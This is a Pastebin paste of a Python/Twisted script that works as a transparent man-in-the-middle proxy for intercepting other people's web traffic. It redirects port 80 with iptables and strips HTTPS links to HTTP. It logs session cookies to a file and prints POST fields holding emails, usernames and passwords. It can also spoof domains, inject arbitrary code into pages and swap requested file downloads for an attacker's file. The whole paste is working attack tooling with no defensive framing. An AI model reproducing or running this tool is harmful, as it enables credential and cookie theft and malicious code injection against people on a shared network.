JSchmoe

Proxy, works this time I swear

Mar 9th, 2016
112
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. from twisted.web import http
  3. from twisted.internet import reactor, protocol
  4. import re, sys, os, gzip, argparse, zlib
  5.  
  6. #Terminal colors
  7. HEADER = '\033[95m'
  8. OKBLUE = '\033[94m'
  9. OKGREEN = '\033[92m'
  10. WARNING = '\033[93m'
  11. FAIL = '\033[91m'
  12. ENDC = '\033[0m'
  13. BOLD = '\033[1m'
  14. UNDERLINE = '\033[4m'
  15.  
  16. #Some variables for easy toggling of features
  17. ssl_strip = True
  18. add_html = False
  19. replace_images = False
  20.  
  21. #set up iptables
  22. os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080")
  23. #os.system("iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080")
  24.  
  25. def parse_args():
  26.     parser = argparse.ArgumentParser()
  27.     parser.add_argument("--spoof-domain", help="comma-separated list of domains, each domain corresponds to one domain in spoof-with")
  28.     parser.add_argument("--spoof-with", help="comma-separated list of domains")
  29.     parser.add_argument("--replace-images", help="replace images with the image in the link")
  30.     parser.add_argument("--ide", help="intercept files with the given extension")
  31.     parser.add_argument("--idu", help="url with target file")
  32.     parser.add_argument("--block", help="comma-separated list of domains to block")
  33.     parser.add_argument("--add-code", help="add code to browsed pages")
  34.     parser.add_argument("--block-message", help="message to show when a website is blocked")
  35.     parser.add_argument("--save-cookies", help="save cookies to cookies.txt", action='store_true')
  36.     return parser.parse_args()
  37.    
  38. args = parse_args()
  39. if args.spoof_domain or args.spoof_with:
  40.     if not args.spoof_domain:
  41.         sys.exit("spoof-domain missing")
  42.     elif not args.spoof_with:
  43.         sys.exit("spoof-with missing")
  44. try:
  45.     global domain_list
  46.     domain_list = zip(args.spoof_domain.split(","), args.spoof_with.split(","))
  47.     print(domain_list)
  48. except:
  49.     pass
  50.  
  51. if args.block:
  52.     global block
  53.     block = args.block.split("/")
  54.        
  55. if args.ide or args.idu:
  56.     if not args.ide:
  57.         sys.exit("ide missing")
  58.     elif not args.idu:
  59.         sys.exit("idu missing")
  60.        
  61. if args.replace_images:
  62.     args.replace_images = args.replace_images.replace("http://","")
  63.     if not args.replace_images.startswith("www."):
  64.         args.replace_images = "www."+args.replace_images
  65.  
  66. try:
  67.     class ProxyClient(http.HTTPClient):
  68.         def __init__(self, method, uri, postData, headers, originalRequest):
  69.             self.method = method
  70.             self.uri = uri
  71.             self.postData = postData
  72.             self.headers = headers
  73.             self.originalRequest = originalRequest
  74.             self.contentLength = None
  75.  
  76.         def sendRequest(self):
  77.             self.sendCommand(self.method, self.uri)
  78.  
  79.         def sendHeaders(self):
  80.             for key, values in self.headers:
  81.                 #print(key, values)
  82.                 if key.lower() == 'connection':
  83.                     values = ['close']
  84.                 elif key.lower() == 'keep-alive':
  85.                     next
  86.                 elif key.lower() == 'cookie':
  87.                     if args.save_cookies:
  88.                         global host
  89.                         with open("cookies.txt","a+") as f:
  90.                             if host not in f.read():
  91.                                 f.write("Host: "+host+"\n")
  92.                                 for line in values:
  93.                                     for cookie in line.split(";"):
  94.                                         f.write("\t"+cookie.strip()+"\n")
  95.                 elif key.lower() == 'accept-encoding':
  96.                     values = ['gzip'] #Ask sites to return gzip-encoded pages
  97.  
  98.                 for value in values:
  99.                     self.sendHeader(key, value)
  100.             self.endHeaders()
  101.  
  102.         def sendPostData(self):
  103.             self.transport.write(self.postData)
  104.  
  105.         def connectionMade(self):
  106.             self.sendRequest()
  107.             self.sendHeaders()
  108.             if self.method == 'POST':
  109.                 self.sendPostData()
  110.  
  111.         def handleStatus(self, version, code, message):
  112.             #global dirme
  113.             #dirme = False
  114.             global filename
  115.             if code.startswith("4"):
  116.                 print(FAIL+"<- "+version+" "+code+" "+message+ENDC)
  117.             elif code.startswith("2"): #Print server response
  118.                 print(OKGREEN+"<- "+version+" "+code+" "+message+ENDC)
  119.             elif code == "301":
  120.                 print(BOLD+FAIL+"<- "+version+" "+code+" "+message+ENDC)
  121. #               code = "200"
  122. #               dirme = True
  123.             elif filename:
  124.                 code = "200"
  125.             else:
  126.                 print(OKBLUE+"<- "+version+" "+code+" "+message+ENDC)
  127.             self.originalRequest.setResponseCode(int(code), message)
  128.  
  129.         def handleHeader(self, key, value):
  130.             if key.lower() == 'content-length':
  131.                 self.contentLength = value
  132.             elif key.lower() == 'cookie':
  133.                 value = ['']
  134.             elif key.lower() == 'content-encoding':
  135.                     value = ['text/html; charset=utf-8']
  136.             else:       #Change text encoding to plaintext, since we decoded it
  137.                 self.originalRequest.responseHeaders.addRawHeader(key, value)
  138.  
  139.         def handleResponse(self, data):
  140.             #global dirme
  141.             #global host
  142.             #global uri
  143.             data = self.originalRequest.processResponse(data)
  144.             global filename
  145.             if filename:
  146.                 data = ""
  147.                 with open("index.html","r") as f:
  148.                     data = f.read()
  149.                 filename = False
  150. #           if dirme:
  151. #               context = ssl._create_unverified_context()
  152. #               h = urllib2.urlopen("https://"+self.originalRequest.getHeader('host')+uri, context=context)
  153. #               data = h.read()
  154. #               data.replace("https://","http://")
  155. #               #data.replace("post","get")
  156. #               dirme = False
  157. #               print(data) #SSL stripping, removed until I can be bothered to fix it
  158.  
  159.             if self.contentLength != None:
  160.                 self.originalRequest.setHeader('Content-Length', len(data))
  161.             self.originalRequest.write(data)
  162.             try:
  163.                 self.originalRequest.finish()
  164.                 self.transport.loseConnection()
  165.             except:
  166.                 pass
  167.  
  168.     class ProxyClientFactory(protocol.ClientFactory):
  169.         def __init__(self, method, uri, postData, headers, originalRequest):
  170.             self.protocol = ProxyClient
  171.             self.method = method
  172.             self.uri = uri
  173.             self.postData = postData
  174.             self.headers = headers
  175.             self.originalRequest = originalRequest
  176.  
  177.         def buildProtocol(self, addr):
  178.             return self.protocol(self.method, self.uri, self.postData,
  179.                                  self.headers, self.originalRequest)
  180.  
  181.         def clientConnectionFailed(self, connector, reason):
  182.             self.originalRequest.setResponseCode(504)
  183.             try:
  184.                 self.originalRequest.finish()
  185.             except:
  186.                 pass
  187.  
  188.     class ProxyRequest(http.Request):
  189.         def __init__(self, channel, queued, reactor=reactor):
  190.             http.Request.__init__(self, channel, queued)
  191.             self.reactor = reactor
  192.         def process(self):
  193.             global uri
  194.             global domain_list
  195.             uri = self.uri
  196.             global host
  197.             spoofed = ""
  198.             host = self.getHeader('host')
  199.            
  200.             if not host:
  201.                 self.setResponseCode(400)
  202.                 self.finish()
  203.                 return
  204.            
  205.             if args.block:
  206.                 global block   
  207.                 for elem in block:
  208.                     if elem in host:
  209.                         print(WARNING+"-- Blocked "+host+ENDC)
  210.                         self.setResponseCode(200)
  211.                         if args.block_message:
  212.                             self.write(args.block_message)
  213.                         self.finish()  
  214.                         return
  215.             global filename
  216.             filename = False
  217.             if args.spoof_domain and args.spoof_with:              
  218.                 for spoof_dom, spoof_with in domain_list:
  219.                     if str(spoof_dom) in host:
  220.                         spoofed = "SPOOFED FROM "+host+self.uri
  221.                         if "localfile" in spoof_with:
  222.                             spoof_with = ""
  223.                             filename = True
  224.                         host = "www.example.com"
  225.                
  226.             if args.ide:
  227.                 if self.uri.endswith(args.ide):
  228.                     host = args.idu.split("/")[0]
  229.                     self.uri = "/"+"/".join(args.idu.split("/")[1:])
  230.  
  231.             port = 80
  232.             if ':' in host:
  233.                 host, port = host.split(':')
  234.                 port = int(port)
  235.                
  236.                
  237.             imagetypes = ["image/gif","image/jpeg","image/png"] #header values which show the browser is expecting an image
  238.             try:
  239.                 if self.getHeader('accept').split(',')[0] in imagetypes and args.replace_images:
  240.                 #Replace image links with this
  241.                     print(args.replace_images)
  242.                     spoofed = "SPOOFED FROM "+host+self.uri
  243.                     host = args.replace_images.split("/")[0]
  244.                     self.uri = "/"+"/".join(args.replace_images.split("/")[1:])
  245.             except:
  246.                 pass
  247.                
  248.                
  249.             self.setHost(host, port)
  250.             self.content.seek(0, 0)
  251.             postData = self.content.read()
  252.             #There's probably a more efficient way of finding user and pass
  253.             if self.method == "POST":
  254.                 print(BOLD+OKGREEN+"-> "+self.method+" "+host+self.uri+ENDC+" "+HEADER+spoofed+ENDC)
  255.                 if "ajax" not in self.uri:
  256.                     for element in postData.split("&"):
  257.                         for element in element.split("%22"):
  258.                             if "email" in element or "user" in element or "pass" in element or "login" in element and "=" in element:
  259.                                 print("   "+BOLD+OKGREEN+element+ENDC)
  260.                    
  261.             else:
  262.                 print(OKBLUE+"-> "+self.method+" "+host+self.uri+HEADER+" "+spoofed+ENDC)
  263.  
  264.             factory = ProxyClientFactory(self.method, self.uri, postData,
  265.                                          self.requestHeaders.getAllRawHeaders(),
  266.                                          self)
  267.             self.reactor.connectTCP(host, port, factory)
  268.  
  269.         def processResponse(self, data):
  270.             try:
  271.                 gunzip_fail = False
  272.                 newdata = zlib.decompress(data, 16+zlib.MAX_WBITS) #Gunzip
  273.             except: #Try decompressing
  274.                 gunzip_fail = True
  275.             if not gunzip_fail: #Don't add html if failed gunzipping
  276.                 if args.add_code:
  277.                     newdata+=str(args.add_code)
  278.                     print(args.add_code)
  279.                 newdata = newdata.replace("https://","http://")#Strip https links
  280.                 return newdata
  281.                
  282.             else:
  283.                 if str(args.add_code):
  284.                     data+=str(args.add_code)
  285.                 data = data.replace("https://","http://")
  286.                 return data
  287.  
  288.     class TransparentProxy(http.HTTPChannel):
  289.         requestFactory = ProxyRequest
  290.  
  291.     class ProxyFactory(http.HTTPFactory):
  292.         protocol = TransparentProxy
  293.  
  294.     reactor.listenTCP(8080, ProxyFactory())
  295.     print("Running")
  296.     reactor.run()
  297. finally:
  298.     os.system("iptables -F")
  299.     os.system("iptables -X") #Remove everything from iptables
  300.     os.system("iptables -t nat -F")
  301.     os.system("iptables -t nat -X")
RAW Paste Data